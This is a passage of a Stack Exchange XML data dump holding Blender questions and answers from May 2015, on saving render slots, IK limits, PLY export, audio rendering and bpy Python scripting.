BY-SA 3.0" />
  <row Id="31327" PostTypeId="2" ParentId="31312" CreationDate="2015-05-23T04:11:40.230" Score="9" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;save all images&lt;/em&gt;&lt;/strong&gt;  is for modified texture images, images that you have loaded from storage or packed in the .blend file and have been edited ,if no straight option is available  you can use a script to automate that process .&#xA;this script will save all non empty slots to the file path specified in the render tab and with the name displayed in the Image-editor and the number of the slot :  &quot;Render_Image_slot_1.png&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;path = scene.render.filepath&#xA;ext = scene.render.file_extension&#xA;for img in bpy.data.images :&#xA;    i = 0&#xA;    if img.type == 'RENDER_RESULT' :&#xA;        print(img.name)&#xA;        for i in range(8):&#xA;            img.render_slots.active_index = i&#xA;            try :&#xA;                img.save_render(path+img.name+&quot;_slot_%d&quot;%i+ext, scene)&#xA;                print(&quot;slot %d saved&quot;%i)&#xA;            except :&#xA;                print(&quot;Slot %d is empty&quot;%i)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in case you need this more then once here is the &lt;a href=&quot;https://www.dropbox.com/s/44qj7hobs1cfxm6/save%20slots.py?dl=0&quot; rel=&quot;noreferrer&quot;&gt;Addon file for download&lt;/a&gt; install it and you'll find the entry in &lt;strong&gt;UV/Image-editor&lt;/strong&gt;➞&lt;strong&gt;Image&lt;/strong&gt;➞&lt;strong&gt;Save_all_slots&lt;/strong&gt;, you can assign a shortcut for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1jzd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to install :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XXJMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-23T19:08:06.207" LastActivityDate="2015-05-23T19:08:06.207" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="31328" PostTypeId="2" ParentId="31320" CreationDate="2015-05-23T04:45:09.153" Score="5" Body="&lt;p&gt;when you have an bone set to use an IK constraint, every bone in that chain enables the Inverse Kinematics tab, found in the bone properties (almost down the bottom)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can set limits on the XYZ axis of each bone. the X and Z axis limits show up in the display as a red and blue circle. Y doesnt show up as Y is rotation along the axis of the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using axis limits does cause some popping, so you will want to use a Pole target for the IK constraint to allow better control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPJp7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYtbY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-05-23T04:45:09.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31329" PostTypeId="1" CreationDate="2015-05-23T05:58:52.203" Score="4" ViewCount="219" Body="&lt;p&gt;I modeled a hand and added an armature, but when I tried to pose the hand, the armature moved faster than the mesh. In fact it moved outside the mesh. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14555" LastEditorUserId="3710" LastEditDate="2015-05-23T11:52:17.540" LastActivityDate="2016-01-19T01:20:53.043" Title="Posing a modeled hand" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31330" PostTypeId="1" AcceptedAnswerId="31331" CreationDate="2015-05-23T07:25:23.630" Score="4" ViewCount="4282" Body="&lt;p&gt;I'm trying to get Blender to export .ply files with vertex colors and triangular faces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I assign my model a material, and change its diffuse color. Then, in edit mode, with my whole model selected, I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; to triangulate the faces. Then, I go to &lt;em&gt;Export &gt; Stanford (.ply)&lt;/em&gt;, and making sure include vertex colors is selected, I export it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I look at the file, it has no color data, and the faces are not triangles (The faces consist of a seemingly random number of indices each). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing anything wrong? I've tried searching quite a bit but can't seem to find anything. Thanks&lt;/p&gt;&#xA;" OwnerUserId="14556" LastEditorUserId="3710" LastEditDate="2015-08-31T13:26:12.647" LastActivityDate="2015-08-31T13:26:12.647" Title="Getting Blender to export .ply files with vertex colors" Tags="&lt;materials&gt;&lt;export&gt;&lt;file-format&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31331" PostTypeId="2" ParentId="31330" CreationDate="2015-05-23T08:12:15.057" Score="3" Body="&lt;p&gt;A few things here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The diffuse color you assigned isn't part of the Vertex Color content, they are distinct from eachother. If you want to give a single colour to all faces, then go to Vertex Paint mode and masking mode, select all faces, then pick a colour from the colour-wheel and press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;K&lt;/kbd&gt; . That will set the vertex colour for all faces. and Save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDeQM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For triangulation, you might have to make a duplicate of your model and triangulate, then press save, then export. Else I think the exporter will export the mesh's data from the most recent saved state (that wasn't triangulated yet).&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-23T08:26:58.047" LastActivityDate="2015-05-23T08:26:58.047" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31332" PostTypeId="1" AcceptedAnswerId="31333" CreationDate="2015-05-23T08:41:15.207" Score="2" ViewCount="103" Body="&lt;p&gt;I have toggle the front view and other sides but i cant see any of my imports pictures in the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4JuS2.png&quot; alt=&quot;image imput&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14557" LastActivityDate="2015-05-23T08:56:37.820" Title="I cant see the background images" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-05-23T09:10:04.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="31333" PostTypeId="2" ParentId="31332" CreationDate="2015-05-23T08:56:37.820" Score="2" Body="&lt;p&gt;You've set the background image to the viewing position Left, but to show the background image you should be in Orthographic mode not Perspective. Press 5 on keypad to set Orthographic&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-23T08:56:37.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31334" PostTypeId="1" AcceptedAnswerId="31440" CreationDate="2015-05-23T10:06:24.977" Score="5" ViewCount="4157" Body="&lt;p&gt;I want to cut a portion of audio file and render in mp3 or aac, but in render tab i can not find any settings for this. i also went through this thread:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?247012-Render-Audio-Only-in-Blender&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?247012-Render-Audio-Only-in-Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i can not see any button called &quot;mixdown&quot; in the scene tab. I am using version 2.74. so is it possible to render only audio?&lt;/p&gt;&#xA;" OwnerUserId="8036" LastActivityDate="2019-12-21T10:54:21.710" Title="can we render only audio in blender?" Tags="&lt;blender-internal-render-engine&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31335" PostTypeId="1" AcceptedAnswerId="31358" CreationDate="2015-05-23T10:07:11.647" Score="2" ViewCount="1096" Body="&lt;p&gt;In computer programming indexes are (usually) 0 based but the default frame range in Blender is 1 - N which makes me think there could be a reason behind it - similar to last layer being used as a &quot;trash layer&quot; for helper objects - by convention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does keyframe 0 have such common &quot;special&quot; use case in workflows (eg. maybe storing default pose) or is it just a UI design choice ?&lt;/p&gt;&#xA;" OwnerUserId="13196" LastActivityDate="2015-05-23T20:04:31.533" Title="Does keyframe 0 have a &quot;special&quot; use case in blender?" Tags="&lt;animation&gt;&lt;interface&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31336" PostTypeId="1" AcceptedAnswerId="31338" CreationDate="2015-05-23T10:09:25.147" Score="0" ViewCount="238" Body="&lt;p&gt;I knows lots of people have been having problems with this tutorial but I haven't found anyone with the specific problem that I have (I've been looking for a while).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;rows = 5&#xA;columns = 5&#xA;&#xA;r = 0&#xA;c = 0&#xA;&#xA;for i in range(0, rows*columns):&#xA;    if c == columns:&#xA;        r += 1&#xA;        c = 0&#xA;&#xA;    bpy.ops.mesh.primitive_cube_add(location = (r, c, 0))&#xA;    bpy.context.scene.cursor_location = bpy.context.active_object.location&#xA;    bpy.context.scene.cursor_location.z -= 1&#xA;    bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;    bpy.ops.object.transform_apply(scale=True)&#xA;&#xA;    bpy.context.active_object.scale.x = 0.5&#xA;    bpy.context.active_object.scale.y = 0.5&#xA;    bpy.context.active_object.scale.z = 5&#xA;&#xA;    bpy.ops.anim.keyframe_insert_menu(type='Scaling')&#xA;&#xA;    bpy.context.active_object.animation_data.action.fcurves[0]. lock = True&#xA;&#xA;    bpy.context.active_object.animation_data.action.fcurves[1]. lock = True&#xA;&#xA;    bpy.context.area.type = 'GRAPH_EDITOR'&#xA;&#xA;    step = 100000/ (rows*columns)&#xA;&#xA;    bpy.ops.graph.sound_bake(filepath=&quot;C:\Users\Stephen\Music\Arcade Blaster - Reboot.wav&quot;, low=i*step, high=i*step + step)&#xA;&#xA;    bpy.context.active_object.animation_data.action.fcurves[2]. lock = true&#xA;&#xA;    c += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dUDc.png&quot; alt=&quot;The Error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand any of the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help solve/explain the error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="47" LastEditDate="2015-05-23T10:11:40.300" LastActivityDate="2015-05-25T14:25:44.773" Title="Audio Visualizer Script Error" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ClosedDate="2015-05-26T16:44:34.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="31338" PostTypeId="2" ParentId="31336" CreationDate="2015-05-23T10:49:33.863" Score="2" Body="&lt;p&gt;is it because your filepath is not a valid filepath?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either use a prefix &lt;code&gt;r&lt;/code&gt; to make the path raw, or use forward slashes. Backslashes have &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_character&quot; rel=&quot;nofollow&quot;&gt;special meaning in programming languages&lt;/a&gt; like python. valid paths are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   # windows&#xA;   filepath = &quot;C:\\some\\folder\\file.mp3&quot;&#xA;   filepath = r&quot;C:\some\folder\file.mp3&quot;&#xA;   filepath = &quot;C:/some/folder/file.mp3&quot;&#xA;&#xA;   # posix style (linux, osx)&#xA;   filepath = &quot;/home/folder/file.mp3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This bug is fixed as of today: this error will now return 'File not found', which is better:&#xA;&lt;a href=&quot;https://developer.blender.org/rB39b85e452faae543d10831e4fa66fdffbc22e0a1&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/rB39b85e452faae543d10831e4fa66fdffbc22e0a1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-25T14:25:44.773" LastActivityDate="2015-05-25T14:25:44.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31340" PostTypeId="1" CreationDate="2015-05-23T13:17:15.727" Score="0" ViewCount="56" Body="&lt;p&gt;First of all I am a BIG noob at blender but not at python. I want to maker some python games so I thought that blender would be great for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am half way through making my simple game where you move a block around and now I want to make it so when you press the E key, a block appears in front of the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code so far which I found on-line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.add(type='MESH')&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;&#xA;&#xA;me.from_pydata(verts, [], faces)&#xA;me.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It inserts a mesh at some random coordinates. Does anyonee know how to make it insert a cube at some set coordinates or just simplify my code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologise if my terminology isn't correct but I am new to all of this.&lt;/p&gt;&#xA;" OwnerUserId="14559" LastEditorUserId="5113" LastEditDate="2015-05-23T13:26:03.740" LastActivityDate="2015-05-23T13:26:03.740" Title="Blender Game Engine, python inserting a cube at coordinates" Tags="&lt;python&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-05-23T17:12:34.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="31341" PostTypeId="1" CreationDate="2015-05-23T13:38:48.253" Score="4" ViewCount="832" Body="&lt;p&gt;I wanted to Build a physical Game in sense of having an external sensor like heart rate or light sensor sending data to Blender engine and use these data to move object or do something within the game so is there a way Blender can handle external sensors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="14532" LastEditorUserId="14532" LastEditDate="2015-05-23T13:53:13.633" LastActivityDate="2015-09-13T19:06:36.000" Title="Can we integrate Sensors to blender" Tags="&lt;game-engine&gt;&lt;external-applications&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31342" PostTypeId="2" ParentId="31211" CreationDate="2015-05-23T14:31:20.757" Score="1" Body="&lt;p&gt;In blender there are two Warps. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Warp Tool&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The Warp tool pulls selected vertices towards the 3d-cursor. thats &lt;em&gt;it&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Warp Modifier&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The Warp modifier, doesn't appear to do what you'd like it to. It will warp in a straight line from A to B.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Tube Tool (can ..sortof)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;TubeTool comes closer. Here a a description ( &lt;a href=&quot;https://blender.stackexchange.com/a/28193/47&quot;&gt;https://blender.stackexchange.com/a/28193/47&lt;/a&gt; ) and here the link to the &lt;a href=&quot;https://github.com/zeffii/TubeTool&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub repository&lt;/a&gt;. Feedback welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ay1M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TubeTool labours under the assumption (currently) that the selected faces are part of one object. At present that means maybe duplicating them, separating selection and then joining them together into one object. The faint blue line emanating from the faces shows their normal, tube tool allows you to flip the perceived normal by providing an option to specify direction (negative or positive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will at the very least give you a nice curve between the two faces, from that point you can select a &lt;em&gt;Bevel Object&lt;/em&gt; or reduce the amount of subdivisions in the default bevel circle. The upside to attaching a &lt;em&gt;Bevel Object&lt;/em&gt; once the curve is created is that you can adjust the geometry of the &lt;em&gt;Bevel Object&lt;/em&gt; to match the two faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TubeTool isn't very sophisticated yet, but it could be worth checking anyway - and I'm open to suggestions.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-23T16:28:13.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31344" PostTypeId="2" ParentId="31233" CreationDate="2015-05-23T14:57:16.223" Score="1" Body="&lt;p&gt;From the information provided I believe the difficulty you are experiencing is related to your workspace environment, not your modeling and scene creation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that if you look at the cache panel in your particle settings, the &quot;# of frames in memory&quot; displayed will be less than the total number of frames in your animation (this information is also represented graphically in the lower timeline).&lt;br&gt;&#xA;If that is the case, then the reason you are seeing different results in the viewport and render is that they are using different data.&lt;br&gt;&#xA;To fix your issue you should:&lt;br&gt;&#xA;Set Playback sync to No Sync in the 3d viewport.&lt;br&gt;&#xA;Invalidate the simulation cache data by changing physics values or moving the object.&lt;br&gt;&#xA;Play the full simulation in viewport.&lt;br&gt;&#xA;Verify all frames are cached in the simulation cache.&lt;br&gt;&#xA;Render your animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit to add further information after comment: (Maybe should be a separate answer?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the blend file provided in the question, and made the following changes:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In the Properties Editor-&gt; Render tab-&gt; Render Panel&lt;br&gt;&#xA;I changed the Render Device to CPU (I do not have a supported GPU)&lt;br&gt;&#xA;and in the Properties Editor-&gt; Render tab-&gt; Performance panel set the tile sizes to 32 x 32 (for cpu use). I also set Properties Editor-&gt; Render tab-&gt; Sampling panel render samples to 80, to speed up testing.&lt;br&gt;&#xA;(you may wish to duplicate this step to rule out any GPU compatibility errors)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I saved the file as a new blender file.&lt;br&gt;&#xA;In the Properties Editor-&gt; Render tab-&gt; Output Panel&lt;br&gt;&#xA;I changed the output file format from H.264 movie to PNG images, and set a new output directory.&lt;br&gt;&#xA;(Rendering directly to movie formats can cause encoding errors, it is considered good practice to render image frames, and encode to movie format in an encoding pass)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I switched to the Video Editing screen layout&lt;br&gt;&#xA;and changed the UV/Image editor to the Video Sequence Editor.&lt;br&gt;&#xA;I then selected and deleted the Image Strip that is present.&lt;br&gt;&#xA;(If there is any content in the Video Sequence Editor, blender will render that content instead of the current 3d scene, this can be disabled in the Properties Editor-&gt; Render tab-&gt; Post Processing Panel)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) I switched back to the Animation screen layout&lt;br&gt;&#xA;and in the Timeline, changed Playback Sync from AV-sync to No Sync.&lt;br&gt;&#xA;In the Properties Editor-&gt; Particle tab-&gt; Emission Panel I changed the number of particles to 5001 (to invalidate the cache), I also made the Cache panel visible.&lt;br&gt;&#xA;Then I played the simulation in the viewport to allow all frames to be calculated. After stopping the simulation, I checked that the particle cache had all frames in memory.&lt;br&gt;&#xA;(this is the step outlined above this edit)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) I saved the blender file.&lt;br&gt;&#xA;I rendered the animation, seeing no errors in any frames.&lt;br&gt;&#xA;I previewed the resulting sequence using the Info Bar-&gt; Render-&gt; Play Rendered Animation (Ctrl F11)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) After being satisfied by the preview;&lt;br&gt;&#xA;I again saved a new file with the name ParticleMovementTest_encoding.blend&lt;br&gt;&#xA;I changed Properties Editor-&gt; Render tab-&gt; Output Panel output file format to H.264.&lt;br&gt;&#xA;I switched to the Video Editing screen layout, and added an image strip, selecting the rendered frames produced in step 5, and rendered the animation again to encode the project into a movie file.&lt;br&gt;&#xA;(If, in step 3 you disabled Sequencer in the Properties Editor-&gt; Render tab-&gt; Post Processing Panel, it will need to be re-enabled)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) I verified the resulting file with VLC Player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above steps produced this &lt;a href=&quot;https://www.dropbox.com/s/alyd4x275eih8ec/0001-0165.avi?dl=0&quot; rel=&quot;nofollow&quot;&gt;render result&lt;/a&gt; (4mb).&lt;br&gt;&#xA;Somewhere in the above steps lies the answer to your problem.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastEditorUserId="13901" LastEditDate="2015-05-23T23:51:18.657" LastActivityDate="2015-05-23T23:51:18.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31345" PostTypeId="1" AcceptedAnswerId="31378" CreationDate="2015-05-23T15:13:49.447" Score="4" ViewCount="603" Body="&lt;p&gt;Is it possible to draw 3d lines/points with X-Ray in BGL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my custom 3d line in viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rqqbd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it's drawn behind the monkey head. Is it possible to make it as X-Ray?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code i use:&#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools/blob/ff2bd836267deb0c0d5f0c0bb28904876068bba3/blender/addons/mira_tools/mi_curve_test.py#L331-L349&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools/blob/ff2bd836267deb0c0d5f0c0bb28904876068bba3/blender/addons/mira_tools/mi_curve_test.py#L331-L349&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="12" LastEditDate="2015-05-25T15:23:54.430" LastActivityDate="2015-05-25T15:23:54.430" Title="Python BGL: X-Ray mode" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31346" PostTypeId="1" AcceptedAnswerId="31355" CreationDate="2015-05-23T15:23:05.743" Score="2" ViewCount="1539" Body="&lt;p&gt;How to create polyline and then poly loop with python.&#xA;Bmesh fastest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/trIV7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="3710" LastEditDate="2015-05-23T15:28:54.937" LastActivityDate="2015-05-23T18:56:41.873" Title="Python: Create Polyline and Polyloop" Tags="&lt;python&gt;&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31348" PostTypeId="1" AcceptedAnswerId="31349" CreationDate="2015-05-23T15:48:43.787" Score="12" ViewCount="5180" Body="&lt;p&gt;I've created a mesh I want to duplicate using python with specifications for the new duplicate's coordinates. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="14351" LastEditorUserId="3710" LastEditDate="2016-01-17T23:56:55.597" LastActivityDate="2020-10-03T17:22:45.510" Title="Duplicating non primitive mesh with Python" Tags="&lt;python&gt;&lt;mesh&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31349" PostTypeId="2" ParentId="31348" CreationDate="2015-05-23T15:51:58.243" Score="12" Body="&lt;p&gt;You can simply use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.ops.object.html?highlight=duplicate#bpy.ops.object.duplicate&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Object Duplicate Operator&lt;/strong&gt;&lt;/a&gt; on the selected object(s) in &lt;em&gt;Object Mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.duplicate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default this will create an &lt;strong&gt;identical copy&lt;/strong&gt;, like pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; in &lt;em&gt;3d View&lt;/em&gt;. By passing &lt;code&gt;linked=True&lt;/code&gt; to the operator, you can also create a &lt;strong&gt;linked duplicate&lt;/strong&gt; like pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; on the keyboard. This will create a new object with all of its data (like the mesh) linked to the original object.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To &lt;strong&gt;adjust the location&lt;/strong&gt;, access the &lt;em&gt;Active Object&lt;/em&gt; (which is the duplicate in this case) and simply overwrite the location values: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.location = (x, y, z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When duplicating &lt;strong&gt;multiple objects&lt;/strong&gt; use &lt;code&gt;bpy.context.selected_objects&lt;/code&gt; to get a list of the created duplicates afterwards. Iterate through the list and assign new position values to each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more options, see this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/26852/python-move-object-on-local-axis&quot;&gt;Python move object on local axis&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-05-24T11:40:18.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31350" PostTypeId="1" CreationDate="2015-05-23T15:53:55.457" Score="1" ViewCount="229" Body="&lt;p&gt;I'm trying to re-render&#xA;&lt;img src=&quot;https://s24.postimg.org/wnrl918ut/photo_gsteig.jpg&quot; alt=&quot;the view from a photo&quot;&gt; - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hopped to generate some jewelery out of the rendered view. &#xA;So I found some DEM-data (DEM=digital elevation model) of the region and added a camera and a plane to mirror the mountains there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/6si02e3fxgeuvsv/gsteig_with_camera2.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the blend file of the scene I created so far&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just can't seem to recreate the view from the photo, or even something close to it. I first tried with just the plane with a displacement modifier on the UV-data and tried to move the camera in to the region, &#xA;but this didn't came to fruition. &#xA;After some other things I tried I can kind of recreate the view with the one side of the UV-map (of the plane) being scaled to zero - trying to mirror the view from the camera.&#xA;(you also see this in the blender file, this is where the shot was approximately made)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if someone did something similar to this and might help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most straight forward thing I came up with was that I massively scaled the plane up and tried to physically move the camera in to the region, but this just didn't work. The blender cycles camera just skewed the view too much, the angles and everything seemed off...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: To be clear: my problem doesn't lie wit generating the mesh with displacement modifiers, subsurfing, etc. But more with how to then make the camera see more or less the same as in the photo&lt;/p&gt;&#xA;" OwnerUserId="14562" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.390" LastActivityDate="2015-09-22T15:33:09.797" Title="Re-do view of a photo via DEM data and Blender" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31351" PostTypeId="1" AcceptedAnswerId="31544" CreationDate="2015-05-23T16:08:14.633" Score="3" ViewCount="2909" Body="&lt;p&gt;I have a &lt;code&gt;StringProperty&lt;/code&gt; that I want to show the name of the selected object. Currently, I update the property by invoking an operator manually from a panel. However, &lt;strong&gt;I want the property to be updated automatically every time the selected object in the viewport changes&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have considered running a modal operator, which checks the selection change all the time. However, that does not seem like an optimal solution. I have also tried playing around with handlers (&lt;code&gt;bpy.app.handlers.scene_update_post&lt;/code&gt; as &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?362396-Calling-function-when-selection-changes&quot; rel=&quot;nofollow&quot;&gt;mentioned here&lt;/a&gt;), but it seems to have the same result as a modal operator (constant checking in infinite loop). Is it possible to trigger the update only when the selection changes by some callback? Or alternatively, when the right mouse button is clicked (assuming selection only happens this way)? 